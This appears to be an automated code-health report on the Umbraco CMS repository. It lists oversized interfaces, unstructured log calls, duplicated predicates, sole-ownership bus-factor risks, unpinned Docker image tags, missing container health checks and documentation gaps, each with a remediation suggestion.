Fat interface: IUserRepository (26 members) src/Umbraco.Core/Persistence/Repositories/IUserRepository.cs:10— `IUserRepository` declares 26 members: `GetCountByQuery`, `ExistsByUserName`, `Get`, `ExistsByLogin`, `GetAllInGroup`, `GetAllNotInGroup`, `GetPagedResultsByQuery`, `GetByUsername`, `GetForUpgradeByUsername`, `GetForUpgradeByEmail`, `GetForUpgrade`, `Get`, `GetProfile`, `GetProfile`, `GetUserStates`, `CreateLoginSession`, `ValidateLoginSession`, `ClearLoginSessions`, `ClearLoginSessions`, `ClearLoginSession`, `GetAllClientIds`, `GetClientIds`, `AddClientId`, `RemoveClientId`, `GetByClientId`, `InvalidateSessionsForRemovedProviders`. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. Those 26 declarations carry 23 distinct name(s), so part of the width is overloading rather than separate responsibilities — but 23 operations clears the >15 bar on its own, so the row is about responsibilities, not signatures. A wide interface forces every implementer and caller to depend on methods they don't use (the Interface-Segregation 'I' in SOLID). Split it into focused role-interfaces.
Fat interface: IPublishedRequestBuilder (24 members) src/Umbraco.Core/Routing/IPublishedRequestBuilder.cs:12— `IPublishedRequestBuilder` declares 24 members: `Uri`, `AbsolutePathDecoded`, `Domain`, `Culture`, `Segment`, `IsInternalRedirect`, `ResponseStatusCode`, `PublishedContent`, `Template`, `Build`, `SetDomain`, `SetCulture`, `SetSegment`, `SetPublishedContent`, `SetInternalRedirect`, `TrySetTemplateAsync`, `SetTemplate`, `SetRedirectPermanent`, `SetRedirect`, `SetResponseStatus`, `SetNoCacheHeader`, `SetCacheExtensions`, `SetHeaders`, `IgnorePublishedContentCollisions`. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. A wide interface forces every implementer and caller to depend on methods they don't use (the Interface-Segregation 'I' in SOLID). Split it into focused role-interfaces.
Fat interface: IContentEditingService (16 members) src/Umbraco.Core/Services/IContentEditingService.cs:10— `IContentEditingService` declares 16 members under just 15 distinct name(s): `GetAsync`, `ValidateCreateAsync`, `ValidateUpdateAsync`, `CreateAsync`, `CreateAndPublishAsync`, `UpdateAsync`, `UpdateAndPublishAsync`, `MoveToRecycleBinAsync`, `DeleteFromRecycleBinAsync`, `MoveAsync`, `CopyAsync`, `SortAsync`, `SortByFieldAsync`, `DeleteAsync`, `RestoreAsync`, `RestoreAsync`. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. That is an OVERLOAD SET, not 16 separate responsibilities: a caller binds to 15 operation(s) and uses the overload it selected, so the Interface-Segregation harm does NOT apply on the caller's side and splitting this into role-interfaces would scatter one operation without relieving anything. The burden that does remain is the IMPLEMENTER's — all 16 signatures must be written and kept in step. Reduce it by collapsing overloads (optional or default parameters, or an options object) rather than by segregating the interface.
Fat interface: IContentService (62 members) src/Umbraco.Core/Services/IContentService.cs:11— `IContentService` declares 62 members: `GetBlueprintById`, `GetBlueprintById`, `GetBlueprintsForContentTypes`, `SaveBlueprint`, `MoveBlueprint`, `DeleteBlueprint`, `CreateBlueprintFromContent`, `DeleteBlueprintsOfType`, `DeleteBlueprintsOfTypes`, `GetById`, `GetByIds`, `GetByLevel`, `GetParent`, `GetParent`, `GetAncestors`, `GetAncestors`, `GetRootContent`, `GetContentForExpiration`, `GetContentForRelease`, `GetPagedContentInRecycleBin`, `GetPagedChildren`, `GetPagedChildren`, `GetPagedDescendants`, `GetPagedOfType`, `GetPagedOfTypes`, `Count`, `CountPublished`, `CountChildren`, `CountDescendants`, `HasChildren`, `GetContentSchedulesByIds`, `Save`, `Save`, `Delete`, `DeleteOfType`, `DeleteVersions`, `DeleteVersion`, `Move`, `Move`, `Copy`, and 22 more. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. Those 62 declarations carry 50 distinct name(s), so part of the width is overloading rather than separate responsibilities — but 50 operations clears the >15 bar on its own, so the row is about responsibilities, not signatures. A wide interface forces every implementer and caller to depend on methods they don't use (the Interface-Segregation 'I' in SOLID). Split it into focused role-interfaces.
Fat interface: IContentTypeBaseService<TItem> (40 members) src/Umbraco.Core/Services/IContentTypeBaseService.cs:22— `IContentTypeBaseService<TItem>` declares 40 members: `Get`, `Get`, `GetAsync`, `Get`, `Count`, `HasContentNodes`, `GetAll`, `GetMany`, `GetMany`, `GetDescendants`, `GetComposedOf`, `GetChildren`, `GetChildren`, `HasChildren`, `HasChildren`, `CreateAsync`, `UpdateAsync`, `Delete`, `DeleteAsync`, `Delete`, `ValidateComposition`, `HasContainerInPath`, `HasContainerInPath`, `CreateContainer`, `SaveContainer`, `GetContainer`, `GetContainer`, `GetContainers`, `GetContainers`, `GetContainers`, `DeleteContainer`, `RenameContainer`, `CopyAsync`, `MoveAsync`, `GetAllAllowedAsRootAsync`, `GetAllAllowedInLibraryAsync`, `GetAllAllowedInLibraryAsync`, `GetAllowedChildrenAsync`, `GetAllowedChildrenAsync`, `GetAllowedParentKeysAsync`. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. Those 40 declarations carry 28 distinct name(s), so part of the width is overloading rather than separate responsibilities — but 28 operations clears the >15 bar on its own, so the row is about responsibilities, not signatures. A wide interface forces every implementer and caller to depend on methods they don't use (the Interface-Segregation 'I' in SOLID). Split it into focused role-interfaces.
Fat interface: IEntityService (55 members) src/Umbraco.Core/Services/IEntityService.cs:10— `IEntityService` declares 55 members: `Get`, `Get`, `Get`, `Get`, `Get`, `Get`, `Exists`, `Exists`, `Exists`, `Exists`, `Exists`, `GetAll`, `GetAll`, `GetAll`, `GetAll`, `GetAll`, `GetAll`, `GetAll`, `GetAll`, `GetAll`, `GetAll`, `GetAll`, `GetRootEntities`, `GetParent`, `GetParent`, `GetSiblings`, `GetTrashedSiblings`, `GetChildren`, `GetChildren`, `GetChildren`, `GetDescendants`, `GetDescendants`, `GetPagedChildren`, `GetPagedChildren`, `GetPagedChildren`, `GetPagedChildren`, `GetPagedTrashedChildren`, `GetPagedTrashedChildren`, `GetPagedDescendants`, `GetPagedDescendants`, and 15 more. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. Those 55 declarations carry 19 distinct name(s), so part of the width is overloading rather than separate responsibilities — but 19 operations clears the >15 bar on its own, so the row is about responsibilities, not signatures. A wide interface forces every implementer and caller to depend on methods they don't use (the Interface-Segregation 'I' in SOLID). Split it into focused role-interfaces.
Fat interface: IEntityXmlSerializer (16 members) src/Umbraco.Core/Services/IEntityXmlSerializer.cs:9— `IEntityXmlSerializer` declares 16 members under just 1 distinct name(s): `Serialize`, `Serialize`, `Serialize`, `Serialize`, `Serialize`, `Serialize`, `Serialize`, `Serialize`, `Serialize`, `Serialize`, `Serialize`, `Serialize`, `Serialize`, `Serialize`, `Serialize`, `Serialize`. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. That is an OVERLOAD SET, not 16 separate responsibilities: a caller binds to 1 operation(s) and uses the overload it selected, so the Interface-Segregation harm does NOT apply on the caller's side and splitting this into role-interfaces would scatter one operation without relieving anything. The burden that does remain is the IMPLEMENTER's — all 16 signatures must be written and kept in step. Reduce it by collapsing overloads (optional or default parameters, or an options object) rather than by segregating the interface.
Fat interface: IMediaService (45 members) src/Umbraco.Core/Services/IMediaService.cs:9— `IMediaService` declares 45 members: `CountNotTrashed`, `Count`, `CountChildren`, `CountDescendants`, `GetByIds`, `GetByIds`, `CreateMedia`, `CreateMedia`, `CreateMedia`, `GetById`, `GetPagedChildren`, `GetPagedDescendants`, `GetPagedOfType`, `GetPagedOfTypes`, `GetRootMedia`, `GetPagedMediaInRecycleBin`, `Move`, `Move`, `MoveToRecycleBin`, `EmptyRecycleBin`, `RecycleBinSmells`, `DeleteMediaOfType`, `DeleteMediaOfTypes`, `Delete`, `Save`, `GetByLevel`, `GetVersion`, `GetVersions`, `HasChildren`, `DeleteVersions`, `DeleteVersion`, `GetMediaByPath`, `GetAncestors`, `GetAncestors`, `GetParent`, `GetParent`, `Sort`, `SortChildren`, `CreateMediaWithIdentity`, `CreateMediaWithIdentity`, and 5 more. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. Those 45 declarations carry 38 distinct name(s), so part of the width is overloading rather than separate responsibilities — but 38 operations clears the >15 bar on its own, so the row is about responsibilities, not signatures. A wide interface forces every implementer and caller to depend on methods they don't use (the Interface-Segregation 'I' in SOLID). Split it into focused role-interfaces.
Fat interface: IMemberService (25 members) src/Umbraco.Core/Services/IMemberService.cs:10— `IMemberService` declares 25 members: `GetAll`, `GetAll`, `FilterAsync`, `CreateMember`, `CreateMember`, `CreateMemberWithIdentity`, `CreateMemberWithIdentity`, `CreateMemberWithIdentity`, `CreateMemberWithIdentity`, `CreateMemberWithIdentity`, `Save`, `Save`, `Count`, `Exists`, `GetById`, `GetMembersByEmail`, `GetMembersByMemberType`, `GetMembersByMemberType`, `GetMembersByGroup`, `GetAllMembers`, `GetByKeysAsync`, `Delete`, `DeleteMembersOfType`, `FindMembersByDisplayName`, `UpdateLoginPropertiesAsync`. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. Those 25 declarations carry 17 distinct name(s), so part of the width is overloading rather than separate responsibilities — but 17 operations clears the >15 bar on its own, so the row is about responsibilities, not signatures. A wide interface forces every implementer and caller to depend on methods they don't use (the Interface-Segregation 'I' in SOLID). Split it into focused role-interfaces.
Fat interface: IMembershipRoleService<T> (20 members) src/Umbraco.Core/Services/IMembershipRoleService.cs:11— `IMembershipRoleService<T>` declares 20 members under just 11 distinct name(s): `AddRole`, `GetAllRoles`, `GetAllRoles`, `GetAllRoles`, `GetAllRolesIds`, `GetAllRolesIds`, `GetAllRolesIds`, `GetMembersInRole`, `FindMembersInRole`, `DeleteRole`, `AssignRole`, `AssignRoles`, `DissociateRole`, `DissociateRoles`, `AssignRole`, `AssignRoles`, `DissociateRole`, `DissociateRoles`, `ReplaceRoles`, `ReplaceRoles`. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. That is an OVERLOAD SET, not 20 separate responsibilities: a caller binds to 11 operation(s) and uses the overload it selected, so the Interface-Segregation harm does NOT apply on the caller's side and splitting this into role-interfaces would scatter one operation without relieving anything. The burden that does remain is the IMPLEMENTER's — all 20 signatures must be written and kept in step. Reduce it by collapsing overloads (optional or default parameters, or an options object) rather than by segregating the interface.
Fat interface: IPublishableContentService<TContent> (17 members) src/Umbraco.Core/Services/IPublishableContentService.cs:5— `IPublishableContentService<TContent>` declares 17 members: `GetByIds`, `Save`, `Delete`, `DeleteOfTypes`, `GetContentScheduleByContentId`, `GetContentScheduleByContentId`, `GetContentSchedulesByKeys`, `PersistContentSchedule`, `Publish`, `SaveAndPublish`, `Unpublish`, `GetVersions`, `GetVersionsSlim`, `GetVersionIds`, `GetVersion`, `Rollback`, `PerformScheduledPublish`. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. Those 17 declarations carry 16 distinct name(s), so part of the width is overloading rather than separate responsibilities — but 16 operations clears the >15 bar on its own, so the row is about responsibilities, not signatures. A wide interface forces every implementer and caller to depend on methods they don't use (the Interface-Segregation 'I' in SOLID). Split it into focused role-interfaces.
Fat interface: IRedirectUrlService (18 members) src/Umbraco.Core/Services/IRedirectUrlService.cs:9— `IRedirectUrlService` declares 18 members under just 12 distinct name(s): `Register`, `RegisterWithStatus`, `DeleteContentRedirectUrls`, `DeleteContentRedirectUrlsWithStatus`, `Delete`, `DeleteWithStatus`, `Delete`, `DeleteWithStatus`, `DeleteAll`, `GetMostRecentRedirectUrl`, `GetMostRecentRedirectUrl`, `GetMostRecentRedirectUrlAsync`, `GetContentRedirectUrls`, `GetAllRedirectUrls`, `GetAllRedirectUrls`, `GetAllRedirectUrls`, `SearchRedirectUrls`, `SearchRedirectUrls`. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. That is an OVERLOAD SET, not 18 separate responsibilities: a caller binds to 12 operation(s) and uses the overload it selected, so the Interface-Segregation harm does NOT apply on the caller's side and splitting this into role-interfaces would scatter one operation without relieving anything. The burden that does remain is the IMPLEMENTER's — all 18 signatures must be written and kept in step. Reduce it by collapsing overloads (optional or default parameters, or an options object) rather than by segregating the interface.
Fat interface: IRelationService (55 members) src/Umbraco.Core/Services/IRelationService.cs:14— `IRelationService` declares 55 members: `GetById`, `GetRelationTypeById`, `GetRelationTypeById`, `GetRelationTypeByAlias`, `GetAllRelations`, `GetAllRelationsByRelationType`, `GetAllRelationsByRelationType`, `GetAllRelationTypes`, `GetByParentId`, `GetByParentId`, `GetByParent`, `GetByParent`, `GetByChildId`, `GetByChildId`, `GetByChild`, `GetByChild`, `GetByParentOrChildId`, `GetByParentOrChildId`, `GetByParentAndChildId`, `GetByRelationTypeName`, `GetByRelationTypeAlias`, `GetByRelationTypeId`, `GetPagedByRelationTypeId`, `GetPagedByRelationTypeKeyAsync`, `GetChildEntityFromRelation`, `GetParentEntityFromRelation`, `GetEntitiesFromRelation`, `GetChildEntitiesFromRelations`, `GetParentEntitiesFromRelations`, `GetPagedParentEntitiesByChildId`, `GetPagedChildEntitiesByParentId`, `GetEntitiesFromRelations`, `Relate`, `Relate`, `Relate`, `Relate`, `HasRelations`, `IsRelated`, `AreRelated`, `AreRelated`, and 15 more. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. Those 55 declarations carry 39 distinct name(s), so part of the width is overloading rather than separate responsibilities — but 39 operations clears the >15 bar on its own, so the row is about responsibilities, not signatures. A wide interface forces every implementer and caller to depend on methods they don't use (the Interface-Segregation 'I' in SOLID). Split it into focused role-interfaces.
Fat interface: ITagService (21 members) src/Umbraco.Core/Services/ITagService.cs:15— `ITagService` declares 21 members: `GetTaggedEntityById`, `GetTaggedEntityByKey`, `GetTaggedContentByTagGroup`, `GetTaggedContentByTag`, `GetTaggedMediaByTagGroup`, `GetTaggedMediaByTag`, `GetTaggedMembersByTagGroup`, `GetTaggedMembersByTag`, `GetTaggedElementsByTagGroup`, `GetTaggedElementsByTag`, `GetAllTags`, `GetAllAsync`, `GetByQueryAsync`, `GetAllContentTags`, `GetAllMediaTags`, `GetAllMemberTags`, `GetAllElementTags`, `GetTagsForProperty`, `GetTagsForEntity`, `GetTagsForProperty`, `GetTagsForEntity`. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. Those 21 declarations carry 19 distinct name(s), so part of the width is overloading rather than separate responsibilities — but 19 operations clears the >15 bar on its own, so the row is about responsibilities, not signatures. A wide interface forces every implementer and caller to depend on methods they don't use (the Interface-Segregation 'I' in SOLID). Split it into focused role-interfaces.
Fat interface: ITemplateService (17 members) src/Umbraco.Core/Services/ITemplateService.cs:9— `ITemplateService` declares 17 members under just 11 distinct name(s): `GetAllAsync`, `GetAllAsync`, `GetChildrenAsync`, `GetAsync`, `GetAsync`, `GetAsync`, `GetDescendantsAsync`, `UpdateAsync`, `CreateForContentTypeAsync`, `CreateForContentTypeAsync`, `CreateAsync`, `CreateAsync`, `DeleteAsync`, `DeleteAsync`, `GetFileContentStreamAsync`, `SetFileContentAsync`, `GetFileSizeAsync`. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. That is an OVERLOAD SET, not 17 separate responsibilities: a caller binds to 11 operation(s) and uses the overload it selected, so the Interface-Segregation harm does NOT apply on the caller's side and splitting this into role-interfaces would scatter one operation without relieving anything. The burden that does remain is the IMPLEMENTER's — all 17 signatures must be written and kept in step. Reduce it by collapsing overloads (optional or default parameters, or an options object) rather than by segregating the interface.
Fat interface: IUserGroupService (16 members) src/Umbraco.Core/Services/IUserGroupService.cs:10— `IUserGroupService` declares 16 members under just 9 distinct name(s): `GetAllAsync`, `GetAsync`, `GetAsync`, `GetAsync`, `GetAsync`, `GetAsync`, `GetAsync`, `FilterAsync`, `CreateAsync`, `UpdateAsync`, `DeleteAsync`, `DeleteAsync`, `UpdateUserGroupsOnUsersAsync`, `UpdateUserGroupsOnUsersAsync`, `AddUsersToUserGroupAsync`, `RemoveUsersFromUserGroupAsync`. Counted as the author wrote them — a property is ONE member and its get/set accessors are not counted separately, and an event counts once. That is an OVERLOAD SET, not 16 separate responsibilities: a caller binds to 9 operation(s) and uses the overload it selected, so the Interface-Segregation harm does NOT apply on the caller's side and splitting this into role-interfaces would scatter one operation without relieving anything. The burden that does remain is the IMPLEMENTER's — all 16 signatures must be written and kept in step. Reduce it by collapsing overloads (optional or default parameters, or an options object) rather than by segregating the interface.
Interpolated log message defeats structured logging src/Umbraco.Core/Services/DataTypeService.cs:469— Logging an interpolated string (`$"..."`) collapses the event to plain text — you lose the named, queryable properties structured logging exists for. Use a message template with placeholders: `LogInformation("User {UserId} did {Action}", id, action)`. If these calls go through a logging wrapper that only accepts a pre-formatted string, give the wrapper a template+args overload that forwards to the underlying logger, then migrate call sites to it.
Interpolated log message defeats structured logging src/Umbraco.Core/Services/LanguageService.cs:282— Logging an interpolated string (`$"..."`) collapses the event to plain text — you lose the named, queryable properties structured logging exists for. Use a message template with placeholders: `LogInformation("User {UserId} did {Action}", id, action)`. If these calls go through a logging wrapper that only accepts a pre-formatted string, give the wrapper a template+args overload that forwards to the underlying logger, then migrate call sites to it.
Interpolated log message defeats structured logging src/Umbraco.Infrastructure/Migrations/MigrationExpressionBase.cs:139— Logging an interpolated string (`$"..."`) collapses the event to plain text — you lose the named, queryable properties structured logging exists for. Use a message template with placeholders: `LogInformation("User {UserId} did {Action}", id, action)`. If these calls go through a logging wrapper that only accepts a pre-formatted string, give the wrapper a template+args overload that forwards to the underlying logger, then migrate call sites to it.
Interpolated log message defeats structured logging src/Umbraco.Infrastructure/Migrations/MigrationExpressionBase.cs:143— Logging an interpolated string (`$"..."`) collapses the event to plain text — you lose the named, queryable properties structured logging exists for. Use a message template with placeholders: `LogInformation("User {UserId} did {Action}", id, action)`. If these calls go through a logging wrapper that only accepts a pre-formatted string, give the wrapper a template+args overload that forwards to the underlying logger, then migrate call sites to it.
Interpolated log message defeats structured logging src/Umbraco.Infrastructure/Packaging/ImportPackageBuilderExpression.cs:169— Logging an interpolated string (`$"..."`) collapses the event to plain text — you lose the named, queryable properties structured logging exists for. Use a message template with placeholders: `LogInformation("User {UserId} did {Action}", id, action)`. If these calls go through a logging wrapper that only accepts a pre-formatted string, give the wrapper a template+args overload that forwards to the underlying logger, then migrate call sites to it.
Interpolated log message defeats structured logging src/Umbraco.Infrastructure/Runtime/CoreRuntime.cs:113— Logging an interpolated string (`$"..."`) collapses the event to plain text — you lose the named, queryable properties structured logging exists for. Use a message template with placeholders: `LogInformation("User {UserId} did {Action}", id, action)`. If these calls go through a logging wrapper that only accepts a pre-formatted string, give the wrapper a template+args overload that forwards to the underlying logger, then migrate call sites to it.
Interpolated log message defeats structured logging src/Umbraco.Cms.Api.Management/Factories/HealthCheckGroupPresentationFactory.cs:89— Logging an interpolated string (`$"..."`) collapses the event to plain text — you lose the named, queryable properties structured logging exists for. Use a message template with placeholders: `LogInformation("User {UserId} did {Action}", id, action)`. If these calls go through a logging wrapper that only accepts a pre-formatted string, give the wrapper a template+args overload that forwards to the underlying logger, then migrate call sites to it.
Duplicated predicate src/Umbraco.Infrastructure/PropertyEditors/TextAreaPropertyEditor.cs:48— `configuration is IDictionary<string, object> configDict && configDict.TryGetValue("maxChars", out var maxCharsValue)` appears character-identically in 2 files — src/Umbraco.Infrastructure/PropertyEditors/TextAreaPropertyEditor.cs, src/Umbraco.Infrastructure/PropertyEditors/TextboxPropertyEditor.cs. It is one line, so the duplication detector's token window never sees it; the copies drift when only one is corrected. Give the condition a name and one home.
Duplicated predicate src/Umbraco.Cms.Imaging.ImageSharp2/ConfigureImageSharpMiddlewareOptions.cs:85— `context.Request.Query.ContainsKey("rnd") || context.Request.Query.ContainsKey("v")` appears character-identically in 2 files — src/Umbraco.Cms.Imaging.ImageSharp/ConfigureImageSharpMiddlewareOptions.cs, src/Umbraco.Cms.Imaging.ImageSharp2/ConfigureImageSharpMiddlewareOptions.cs. It is one line, so the duplication detector's token window never sees it; the copies drift when only one is corrected. Give the condition a name and one home.
Duplicated predicate src/Umbraco.Core/DeliveryApi/NoopOutputExpansionStrategy.cs:20— `skipUmbracoProperties is false || p.Alias.StartsWith("umbraco") is false` appears character-identically in 3 files — src/Umbraco.Cms.Api.Common/Rendering/ElementOnlyOutputExpansionStrategy.cs, src/Umbraco.Cms.Api.Delivery/Rendering/RequestContextOutputExpansionStrategy.cs, src/Umbraco.Core/DeliveryApi/NoopOutputExpansionStrategy.cs. It is one line, so the duplication detector's token window never sees it; the copies drift when only one is corrected. Give the condition a name and one home.
Duplicated predicate src/Umbraco.Web.Common/Security/ConfigureMemberCookieOptions.cs:101— `string.Equals(request.Query[HeaderNames.XRequestedWith], "XMLHttpRequest", StringComparison.Ordinal) || string.Equals(request.Headers.XReque…` appears character-identically in 2 files — src/Umbraco.Cms.Api.Management/Configuration/ConfigureBackOfficeCookieOptions.cs, src/Umbraco.Web.Common/Security/ConfigureMemberCookieOptions.cs. It is one line, so the duplication detector's token window never sees it; the copies drift when only one is corrected. Give the condition a name and one home.
Duplicated predicate src/Umbraco.Core/PropertyEditors/ValueConverters/ElementPickerValueConverter.cs:40— `value is not null && value.ToString() != "[]"` appears character-identically in 2 files — src/Umbraco.Core/PropertyEditors/ValueConverters/ElementPickerValueConverter.cs, src/Umbraco.Infrastructure/PropertyEditors/ValueConverters/MultiUrlPickerValueConverter.cs. It is one line, so the duplication detector's token window never sees it; the copies drift when only one is corrected. Give the condition a name and one home.
Duplicated predicate src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentRepositoryBase.cs:197— `x.NodeId == SqlTemplate.Arg<int>("nodeId") && !x.Current && x.VersionDate < SqlTemplate.Arg<DateTime>("versionDate")` appears character-identically in 2 files — src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentRepositoryBase.cs, src/Umbraco.Infrastructure/Persistence/Repositories/Implement/PublishableContentRepositoryBase.cs. It is one line, so the duplication detector's token window never sees it; the copies drift when only one is corrected. Give the condition a name and one home.
Off-boarding risk: anonymized user #1 — If anonymized user #1 becomes unavailable, 72 significant file(s) lose their only recent owner: src/Umbraco.Web.Common/UmbracoHelper.cs, src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentTypeCommonRepository.cs, src/Umbraco.Infrastructure/PublishedCache/PublishedContentTypeCache.cs, src/Umbraco.Web.Website/Controllers/BasicAuthLoginController.cs, src/Umbraco.Infrastructure/Persistence/UmbracoDatabaseFactory.cs, src/Umbraco.Core/Services/ContentPermissionService.cs, src/Umbraco.Core/Runtime/MainDom.cs, src/Umbraco.Core/Models/Navigation/NavigationNode.cs (+64 more). Pair on, review, or document these before any departure.
Off-boarding risk: anonymized user #2 — If anonymized user #2 becomes unavailable, 11 significant file(s) lose their only recent owner: src/Umbraco.Core/Models/ContentTypeCompositionBase.cs, src/Umbraco.Infrastructure/Persistence/Factories/PropertyFactory.cs, src/Umbraco.Core/Services/TagService.cs, src/Umbraco.Core/PropertyEditors/DataEditor.cs, src/Umbraco.Core/Services/ITagService.cs, src/Umbraco.Core/Configuration/Models/RequestHandlerSettings.cs, src/Umbraco.Infrastructure/PropertyEditors/BlockGridPropertyEditor.cs, src/Umbraco.Web.Common/Middleware/PreviewAuthenticationMiddleware.cs (+3 more). Pair on, review, or document these before any departure.
Off-boarding risk: anonymized user #3 — If anonymized user #3 becomes unavailable, 5 significant file(s) lose their only recent owner: src/Umbraco.Core/IO/IOHelper.cs, src/Umbraco.Core/Models/PublishedContent/PublishedContentType.cs, src/Umbraco.Core/Enum.cs, src/Umbraco.Core/GuidUtils.cs, src/Umbraco.Core/Cache/AppPolicedCacheDictionary.cs. Pair on, review, or document these before any departure.
Off-boarding risk: anonymized user #4 — If anonymized user #4 becomes unavailable, 6 significant file(s) lose their only recent owner: src/Umbraco.Infrastructure/Install/MigrationCoordinator.cs, src/Umbraco.Web.Common/Cache/RepositoryCacheVersionAccessor.cs, src/Umbraco.Core/Cache/RepositoryCacheVersionService.cs, src/Umbraco.Core/Factories/MachineInfoFactory.cs, src/Umbraco.Core/Configuration/Models/HostingSettings.cs, src/Umbraco.Core/Configuration/Models/Validation/HostingSettingsValidator.cs. Pair on, review, or document these before any departure.
Off-boarding risk: anonymized user #5 — If anonymized user #5 becomes unavailable, 4 significant file(s) lose their only recent owner: src/Umbraco.Cms.Api.Delivery/OpenApi/Transformers/ContentTypeSchemaTransformer.cs, src/Umbraco.Cms.Api.Common/OpenApi/BackOfficeOpenApiDocumentBuilder.cs, src/Umbraco.Cms.Api.Management/Services/Entities/UserStartNodeTreeFilterService.cs, src/Umbraco.Core/Services/ContentTypeSchemaService.cs. Pair on, review, or document these before any departure.
Low IaC: WD-DOCKER-0003 .devcontainer/Dockerfile:3— Line 3 builds this stage `FROM mcr.microsoft.com/vscode/devcontainers/dotnet:0-6.0-bullseye` — a tag, which is a POINTER the image's publisher can move at any time, not the image you tested against. The tag is re-pushed for a rebuild, a backport or a compromise alike, so the same commit produces a different image on a different day and a change nobody here made arrives with no diff to review; a build that reproduces is also the only way to say what is actually running when an advisory lands. Pin the reference to its DIGEST, which is the image's content address and cannot be repointed — `FROM mcr.microsoft.com/vscode/devcontainers/dotnet:0-6.0-bullseye@sha256:…` — resolve today's with `docker buildx imagetools inspect mcr.microsoft.com/vscode/devcontainers/dotnet:0-6.0-bullseye --format '{{.Manifest.Digest}}'` (or `docker pull mcr.microsoft.com/vscode/devcontainers/dotnet:0-6.0-bullseye && docker inspect --format '{{index .RepoDigests 0}}' mcr.microsoft.com/vscode/devcontainers/dotnet:0-6.0-bullseye`). Keep the tag in front of the digest as documentation: it tells a reader which release this is while the digest decides what is pulled. Bumping it then becomes a deliberate commit a reader — or Dependabot/Renovate, both of which update digest pins — can review, instead of a silent change at the next build. This applies to a build-only stage too: the stage that compiles decides what ends up in the layers you ship.
Low IaC: WD-COMPOSE-0002 .devcontainer/docker-compose.yml:40— Line 40 runs service `smtp4dev` from `rnwood/smtp4dev:v3`, pulled from a registry by a TAG, which is a pointer the image's publisher can move at any time, not the image you tested against. The tag is re-pushed for a rebuild, a backport or a compromise alike, so the same commit starts a different image on a different day. Nothing else in this file constrains it: a Compose `image:` with no digest is the only thing deciding what runs, and a change nobody here made arrives with no diff to review. Pin the reference to its DIGEST, which is the image's content address and cannot be repointed — `image: rnwood/smtp4dev:v3@sha256:…` — resolve today's with `docker buildx imagetools inspect rnwood/smtp4dev:v3 --format '{{.Manifest.Digest}}'` (or `docker pull rnwood/smtp4dev:v3 && docker inspect --format '{{index .RepoDigests 0}}' rnwood/smtp4dev:v3`). Keep the tag in front of the digest as documentation: it tells a reader which release this is while the digest decides what is pulled. Bumping it then becomes a deliberate commit a reader — or Dependabot/Renovate, both of which update digest pins in Compose files — can review, instead of a silent change at the next pull. If this service is one you build here rather than pull, give it a `build:` section instead and the reference stops being a registry lookup.
Low IaC: DS-0026 templates/UmbracoDockerCompose/Database/Dockerfile— No HEALTHCHECK defined. Add HEALTHCHECK instruction in your Dockerfile. Add HEALTHCHECK instruction in Dockerfile. Without one the runtime only knows whether the process is alive, not whether it is serving, so a wedged container is restarted by nobody. The step: add a `HEALTHCHECK` to the image that probes the service the way a client would — this image already declares `EXPOSE 1433`, so a request to `localhost:1433` on the service's own health or root route, exiting non-zero when it does not answer, is the probe — and give it an `--interval`, a `--timeout` and a `--start-period` long enough to cover startup. If the image ships no HTTP client, probe with whatever the runtime already has, or declare the check in the orchestrator instead and say so here.
Low IaC: DS-0026 templates/UmbracoProject/Dockerfile— No HEALTHCHECK defined. Add HEALTHCHECK instruction in your Dockerfile. Add HEALTHCHECK instruction in Dockerfile. Without one the runtime only knows whether the process is alive, not whether it is serving, so a wedged container is restarted by nobody. The step: add a `HEALTHCHECK` to the image that probes the service the way a client would — this image already declares `EXPOSE 8080`, so a request to `localhost:8080` on the service's own health or root route, exiting non-zero when it does not answer, is the probe — and give it an `--interval`, a `--timeout` and a `--start-period` long enough to cover startup. If the image ships no HTTP client, probe with whatever the runtime already has, or declare the check in the orchestrator instead and say so here.
Partial audit-trail evidence — An audit mechanism is present, but the trail is not yet complete — missing: an EF SaveChanges interceptor (or equivalent write-side hook, e.g. an event-store append every change flows through), [Audited] per-entity coverage.
D16 · Bus Factor· Further sole-owners (lower concentration) · ×1
Further sole-owners (lower concentration) — 13 other contributor(s) are each the sole owner of a small amount of code below the off-boarding threshold — folded into the bus-factor score and metrics (119 single-owned of 2024 analysed files in total, counted over production source files of roughly 2,400 bytes or more, excluding vendored, generated and example/demo trees and test files identified by path convention, largest first; 2024 of the 5964 production source files in this repository met that bar). They are anonymized user #6 (3 file(s)), anonymized user #7 (3 file(s)), anonymized user #8 (2 file(s)), anonymized user #9 (2 file(s)), anonymized user #10 (2 file(s)), anonymized user #11 (2 file(s)) (+7 more) — spread or document their files in the same way, at lower priority than the named off-boarding risks above.
D19 · Documentation Quality· The acceptance test README is a stub that references no tests and does not show how to run the acceptance suite. · ×1
The acceptance test README is a stub that references no tests and does not show how to run the acceptance suite. tests/Umbraco.Tests.AcceptanceTest/README.md— Expand with actual test commands, output expectations, and an end-to-end test workflow.
